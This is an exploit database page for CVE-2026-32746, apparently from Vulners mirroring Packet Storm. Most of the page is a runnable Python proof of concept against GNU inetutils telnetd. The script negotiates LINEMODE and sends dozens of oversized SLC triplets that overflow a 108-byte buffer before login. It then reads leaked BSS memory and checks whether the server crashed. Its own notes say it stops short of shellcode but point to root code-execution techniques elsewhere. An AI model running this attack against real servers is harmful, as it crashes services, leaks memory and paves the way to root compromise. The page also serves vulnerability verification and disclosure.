Lucene search
K

📄 telnetd 2.7 Buffer Overflow

🗓️ 08 May 2026 00:00:00Reported by Jeff BarronType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 32 Views

Telnetd version 2.7 buffer overflow permits preauth remote code execution as root via line mode triplets.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2026-32746
18 Mar 202612:52
githubexploit
GithubExploit
Exploit for CVE-2026-32746
20 Mar 202610:23
githubexploit
GithubExploit
Exploit for Classic Buffer Overflow in Gnu Inetutils
9 May 202613:56
githubexploit
GithubExploit
Exploit for CVE-2026-32746
18 Mar 202612:37
githubexploit
GithubExploit
Exploit for Argument Injection in Gnu Inetutils
26 Mar 202612:52
githubexploit
ATTACKERKB
CVE-2026-32746
13 Mar 202617:15
attackerkb
AstraLinux
Astra Linux - уязвимость в inetutils
1 Apr 202603:55
astralinux
Circl
CVE-2026-32746
14 Mar 202604:30
circl
CNNVD
GNU Inetutils 安全漏洞
13 Mar 202600:00
cnnvd
CVE
CVE-2026-32746
13 Mar 202617:15
cve
Rows per page
# Exploit Title: telnetd 2.7 - Buffer Overflow
    # Google Dork: N/A
    # Date: 2026-04-03
    # Exploit Author: Jeff Barron (jeffaf)
    # Vendor Homepage: https://www.gnu.org/software/inetutils/
    # Software Link: https://ftp.gnu.org/gnu/inetutils/
    # Version: inetutils-telnetd through 2.7 (patch pending in next release)
    # Tested on: Debian Linux (inetutils-telnetd 2.4 under xinetd, Docker lab)
    # CVE: CVE-2026-32746
    # CVSS: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
    #
    # References:
    #   DREAM Advisory:  https://dreamgroup.com/vulnerability-advisory-pre-auth-remote-code-execution-via-buffer-overflow-in-telnetd-linemode-slc-handler/
    #   WatchTowr:       https://labs.watchtowr.com/
    #   GNU Disclosure:  https://lists.gnu.org/archive/html/bug-inetutils/2026-03/msg00031.html
    #   Fix (PR #17):    https://codeberg.org/inetutils/inetutils/pulls/17
    #   NVD:             https://nvd.nist.gov/vuln/detail/CVE-2026-32746
    #
    # Notes:
    #   The add_slc() function in telnetd/slc.c appends 3 bytes per SLC triplet to a
    #   fixed 108-byte buffer (slcbuf) with no bounds checking. Sending a crafted
    #   LINEMODE SLC suboption with 40+ triplets (function codes > NSLC/18) during
    #   initial option negotiation -- before any login prompt -- overflows slcbuf,
    #   corrupts the slcptr pointer, and leaks adjacent BSS data in the server
    #   response. telnetd runs as root via inetd/xinetd; the vendor advisory (DREAM
    #   Security, Advisory ID: VULN-TELNETD-SLC-2025, published 2026-03-13) confirms
    #   full pre-auth RCE as root is achievable. This PoC demonstrates and verifies
    #   the overflow via response analysis (BSS leak in server reply). It does NOT
    #   include shellcode or a ROP chain. Full exploitation analysis including byte
    #   constraints, alignment techniques, and the def_slcbuf/free() primitive on
    #   32-bit systems is covered in the WatchTowr writeup linked above.
    #   Docker lab: https://github.com/jeffaf/cve-2026-32746
    #
    #   Vulnerability discovered by: Adiel Sol, Arad Inbar, Erez Cohen, Nir Somech,
    #   Ben Grinberg, Daniel Lubel (Dream Security Research Labs). Disclosed 2026-03-13.
    #   This is an independent PoC implementation.
    
    """
    CVE-2026-32746 - telnetd LINEMODE SLC Buffer Overflow PoC
    ==========================================================
    
    Triggers an out-of-bounds write in GNU InetUtils telnetd's SLC handler
    by sending a crafted LINEMODE SLC suboption with excess triplets.
    
    The overflow corrupts the slcptr pointer in BSS. When end_slc() runs,
    it writes via the corrupted pointer. The server's SLC response contains
    the overflow data (leaked BSS bytes), providing direct proof.
    
    This PoC demonstrates and verifies the overflow via response analysis.
    It does NOT achieve code execution.
    
    Usage:
        python3 exploit.py <target_ip> [port]
    
    For authorized security testing only.
    """
    
    import argparse
    import socket
    import sys
    import time
    
    # Telnet protocol bytes
    IAC  = 0xFF
    DONT = 0xFE
    DO   = 0xFD
    WONT = 0xFC
    WILL = 0xFB
    SB   = 0xFA
    SE   = 0xF0
    
    # Options
    OPT_ECHO        = 0x01
    OPT_SGA         = 0x03
    OPT_TTYPE       = 0x18  # 24
    OPT_TSPEED      = 0x20  # 32
    OPT_LINEMODE    = 0x22  # 34
    OPT_XDISPLOC   = 0x23  # 35
    OPT_OLD_ENVIRON = 0x24  # 36
    OPT_NEW_ENVIRON = 0x27  # 39
    OPT_NAWS        = 0x1F  # 31
    
    # LINEMODE suboption codes
    LM_SLC = 0x03
    
    # SLC constants from source
    NSLC = 18  # Number of defined SLC functions
    
    # Buffer geometry
    SLCBUF_SIZE    = 108  # Total slcbuf allocation
    SLCBUF_USABLE  = 104  # Usable after 4-byte header (IAC SB LINEMODE SLC)
    
    
    def recv_all(s, timeout=2):
        """Receive all available data with a timeout."""
        s.settimeout(timeout)
        chunks = []
        try:
            while True:
                chunk = s.recv(4096)
                if not chunk:
                    break
                chunks.append(chunk)
        except socket.timeout:
            pass
        return b''.join(chunks)
    
    
    def negotiate_linemode(s):
        """Complete telnet negotiation and enter LINEMODE.
    
        Full negotiation is required: the server only processes SLC and
        returns responses after all expected suboptions (TTYPE, TSPEED,
        XDISPLOC, NEW_ENVIRON, NAWS) have been received.
        """
        # Round 1: Read server's initial option offers
        print("[*] Phase 1: Reading server negotiation...")
        time.sleep(1)
    
        try:
            data = recv_all(s)
        except ConnectionResetError:
            # Server closed connection before we could send or receive
            print(f"[-] Connection reset during negotiation")
            return False
    
        if not data:
            print("[-] No negotiation data received")
            return False
    
        print(f"    Received {len(data)} bytes of negotiation")
    
        # Build responses: accept everything, add WILL LINEMODE
        resp = bytearray()
        i = 0
        while i < len(data) - 2:
            if data[i] == IAC:
                cmd = data[i + 1]
                opt = data[i + 2]
                if cmd == DO:
                    resp.extend([IAC, WILL, opt])
                elif cmd == WILL:
                    resp.extend([IAC, DO, opt])
                i += 3
            else:
                i += 1
    
        # Proactively offer LINEMODE (triggers server's SLC handler)
        resp.extend([IAC, WILL, OPT_LINEMODE])
    
        # Required suboption responses - server stalls without these
        resp.extend([IAC, SB, OPT_TTYPE, 0x00])
        resp.extend(b'xterm')
        resp.extend([IAC, SE])
    
        resp.extend([IAC, SB, OPT_TSPEED, 0x00])
        resp.extend(b'38400,38400')
        resp.extend([IAC, SE])
    
        resp.extend([IAC, SB, OPT_XDISPLOC, 0x00])
        resp.extend(b':0')
        resp.extend([IAC, SE])
    
        resp.extend([IAC, SB, OPT_NEW_ENVIRON, 0x00, IAC, SE])
        resp.extend([IAC, SB, OPT_OLD_ENVIRON, 0x00, IAC, SE])
    
        s.send(resp)
        print(f"    Sent {len(resp)} bytes (negotiation + WILL LINEMODE)")
    
        # Round 2: Server sends DO LINEMODE + additional option requests
        print("[*] Phase 2: Completing negotiation...")
        time.sleep(1)
        data2 = recv_all(s, timeout=3)
    
        if not data2:
            print("[-] No response to LINEMODE offer")
            return False
    
        got_linemode = False
        resp2 = bytearray()
        i = 0
        while i < len(data2) - 2:
            if data2[i] == IAC:
                cmd = data2[i + 1]
                if cmd == SB:
                    # Find end of suboption
                    j = i + 2
                    while j < len(data2) - 1:
                        if data2[j] == IAC and data2[j + 1] == SE:
                            break
                        j += 1
                    opt = data2[i + 2]
                    if opt == OPT_TTYPE and i + 3 < len(data2) and data2[i + 3] == 0x01:
                        resp2.extend([IAC, SB, OPT_TTYPE, 0x00])
                        resp2.extend(b'xterm')
                        resp2.extend([IAC, SE])
                    elif opt == OPT_NEW_ENVIRON:
                        resp2.extend([IAC, SB, OPT_NEW_ENVIRON, 0x00, IAC, SE])
                    i = j + 2
                elif cmd == DO:
                    opt = data2[i + 2]
                    if opt == OPT_LINEMODE:
                        got_linemode = True
                    resp2.extend([IAC, WILL, opt])
                    if opt == OPT_NAWS:
                        resp2.extend([IAC, SB, OPT_NAWS,
                                      0x00, 0x50, 0x00, 0x18, IAC, SE])
                    i += 3
                elif cmd == WILL:
                    resp2.extend([IAC, DO, data2[i + 2]])
                    i += 3
                elif cmd in (DONT, WONT):
                    i += 3
                else:
                    i += 2
            else:
                i += 1
    
        if resp2:
            s.send(resp2)
    
        if got_linemode:
            print("[+] Server accepted LINEMODE (DO LINEMODE received)")
        else:
            print("[-] Server did not accept LINEMODE")
            print("    This may not be GNU InetUtils telnetd")
            return False
    
        # Round 3: Wait for terminal setup and login prompt
        # Server sends SLC defaults + login prompt after full negotiation
        time.sleep(3)
        data3 = recv_all(s, timeout=5)
        if data3:
            # Respond to any remaining option requests
            resp3 = bytearray()
            i = 0
            while i < len(data3) - 2:
                if data3[i] == IAC:
                    cmd = data3[i + 1]
                    if cmd == DO:
                        resp3.extend([IAC, WILL, data3[i + 2]])
                        i += 3
                    elif cmd == WILL:
                        resp3.extend([IAC, DO, data3[i + 2]])
                        i += 3
                    elif cmd == SB:
                        j = i + 2
                        while j < len(data3) - 1:
                            if data3[j] == IAC and data3[j + 1] == SE:
                                break
                            j += 1
                        i = j + 2
                    else:
                        i += 3 if cmd in (DONT, WONT) else i + 2
                else:
                    i += 1
            if resp3:
                s.send(resp3)
    
        return True
    
    
    def build_slc_payload(num_triplets):
        """Build a malicious SLC suboption with overflow triplets.
    
        Each triplet has a function code > NSLC (18), which forces
        add_slc() to queue a "not supported" reply. After ~35 triplets,
        the 104-byte response buffer overflows.
    
        Buffer math:
          slcbuf = 108 bytes total
          Header = 4 bytes (IAC SB LINEMODE LM_SLC)
          Usable = 104 bytes
          Per triplet reply = 3 bytes
          Overflow at: 104 / 3 = ~34.6 -> triplet 35
        """
        payload = bytearray()
    
        # Suboption header: IAC SB LINEMODE LM_SLC
        payload.extend([IAC, SB, OPT_LINEMODE, LM_SLC])
    
        # SLC triplets: (function, flags, value)
        # function > NSLC triggers the vulnerable add_slc() path
        for i in range(num_triplets):
            func = NSLC + 1 + i
            if func >= IAC:  # Can't use 0xFF (IAC) in data
                func = 0xFE
            payload.extend([func, 0x02, 0x00])  # flag=SLC_NOSUPPORT, value=0
    
        # Suboption trailer: IAC SE
        payload.extend([IAC, SE])
    
        return payload
    
    
    def find_slc_response(data):
        """Extract SLC suboption body from telnet data.
    
        Returns the SLC body bytes (between header and IAC SE),
        or None if no SLC suboption found.
        """
        i = 0
        while i < len(data) - 3:
            if (data[i] == IAC and data[i + 1] == SB and
                    data[i + 2] == OPT_LINEMODE and
                    i + 3 < len(data) and data[i + 3] == LM_SLC):
                # Found SLC suboption, extract body until IAC SE
                k = i + 4
                while k < len(data) - 1:
                    if data[k] == IAC and data[k + 1] == SE:
                        return data[i + 4:k]
                    k += 1
                # Unterminated - return what we have
                return data[i + 4:]
            i += 1
        return None
    
    
    def check_service_alive(host, port):
        """Verify service state with a fresh connection."""
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(5)
            s.connect((host, port))
            probe = recv_all(s, timeout=3)
            s.close()
            return True, len(probe)
        except (socket.error, OSError):
            return False, 0
    
    
    def exploit(host, port, triplets, timeout):
        """Send the SLC overflow payload and verify via response analysis."""
    
        print(f"\n{'=' * 60}")
        print(f"  CVE-2026-32746 - telnetd SLC Buffer Overflow PoC")
        print(f"{'=' * 60}")
        print(f"  Target:   {host}:{port}")
        print(f"  Triplets: {triplets} (overflow at ~35)")
        print(f"{'=' * 60}\n")
    
        # Connect
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(timeout)
            s.connect((host, port))
            print(f"[+] Connected to {host}:{port}")
        except (socket.error, OSError) as e:
            print(f"[-] Connection failed: {e}")
            return False
    
        # Negotiate into LINEMODE
        if not negotiate_linemode(s):
            print("\n[-] Failed to enter LINEMODE - cannot trigger vulnerability")
            s.close()
            return False
    
        # Build and send the overflow payload
        payload = build_slc_payload(triplets)
        data_bytes = triplets * 3
        overflow_bytes = data_bytes - SLCBUF_USABLE
        print(f"\n[*] Phase 3: Sending malicious SLC suboption")
        print(f"    Payload size:  {len(payload)} bytes")
        print(f"    SLC triplets:  {triplets}")
        print(f"    Buffer size:   {SLCBUF_USABLE} bytes (usable)")
        print(f"    Data written:  {data_bytes} bytes")
        print(f"    Overflow:      {overflow_bytes} bytes past buffer end")
    
        try:
            s.send(payload)
            print(f"[+] Payload sent")
        except (BrokenPipeError, ConnectionResetError):
            print("[+] Connection reset during send - server crashed")
            s.close()
            return True
    
        # Phase 4: Verify overflow via SLC response analysis
        print(f"\n[*] Phase 4: Analyzing server response...")
        time.sleep(2)
    
        overflow_confirmed = False
        crash_detected = False
    
        try:
            resp = recv_all(s, timeout=3)
            if resp:
                slc_body = find_slc_response(resp)
                if slc_body is not None:
                    print(f"    SLC response body: {len(slc_body)} bytes")
                    print(f"    Expected (no overflow): {SLCBUF_USABLE} bytes max")
    
                    if len(slc_body) > SLCBUF_USABLE:
                        leak_count = len(slc_body) - SLCBUF_USABLE
                        overflow_confirmed = True
                        print(f"[+] OVERFLOW CONFIRMED: {leak_count} bytes past buffer boundary")
                        print(f"    Server response contains leaked BSS memory")
    
                        # Show leaked data
                        leaked = slc_body[SLCBUF_USABLE:]
                        hex_dump = ' '.join(f'{b:02x}' for b in leaked[:48])
                        print(f"    Leaked BSS: {hex_dump}"
                              f"{'...' if len(leaked) > 48 else ''}")
                    elif len(slc_body) == data_bytes:
                        # Server wrote all triplet data without truncation
                        overflow_confirmed = True
                        print(f"[+] OVERFLOW CONFIRMED: server wrote {len(slc_body)} bytes "
                              f"into {SLCBUF_USABLE}-byte buffer")
                    else:
                        print(f"[!] SLC response within buffer bounds ({len(slc_body)} bytes)")
                else:
                    print(f"[!] Server responded ({len(resp)} bytes) but no SLC suboption found")
            else:
                print("[!] No response data received")
        except (ConnectionResetError, BrokenPipeError, OSError) as e:
            print(f"[+] Connection error after payload: {e}")
            crash_detected = True
    
        s.close()
    
        # Verify service state regardless of response analysis
        if not overflow_confirmed and not crash_detected:
            print("\n[*] Checking service state with fresh connection...")
            alive, probe_len = check_service_alive(host, port)
            if alive:
                print(f"[*] Service still running ({probe_len} bytes on connect)")
                print("[!] Overflow could not be verified via response analysis")
                print("    Server may require additional negotiation steps,")
                print("    or this telnetd version may not be vulnerable")
            else:
                print("[+] Service is DOWN after payload - crash confirmed")
                crash_detected = True
    
        # Final verdict
        if overflow_confirmed:
            print(f"\n[+] VULNERABLE - CVE-2026-32746 confirmed")
            print(f"    Out-of-bounds write in SLC handler verified")
            print(f"    Server response proves buffer overflow occurred")
            return True
        elif crash_detected:
            print(f"\n[+] VULNERABLE - CVE-2026-32746 (crash)")
            print(f"    Server process terminated after overflow payload")
            return True
        else:
            print(f"\n[-] Could not confirm vulnerability")
            return False
    
    
    def main():
        parser = argparse.ArgumentParser(
            description="CVE-2026-32746 - telnetd SLC Buffer Overflow PoC",
            epilog="For authorized security testing only."
        )
        parser.add_argument("host", help="Target IP address")
        parser.add_argument("port", type=int, nargs="?", default=23,
                            help="Target port (default: 23)")
        parser.add_argument("-n", "--triplets", type=int, default=60,
                            help="Number of SLC triplets to send (default: 60, overflow at ~35)")
        parser.add_argument("-t", "--timeout", type=int, default=10,
                            help="Socket timeout in seconds (default: 10)")
        args = parser.parse_args()
    
        success = exploit(args.host, args.port, args.triplets, args.timeout)
    
        sys.exit(0 if success else 1)
    
    
    if __name__ == "__main__":
        main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 May 2026 00:00Current
7.7High risk
Vulners AI Score7.7
CVSS 3.19.8
EPSS0.053
SSVC
32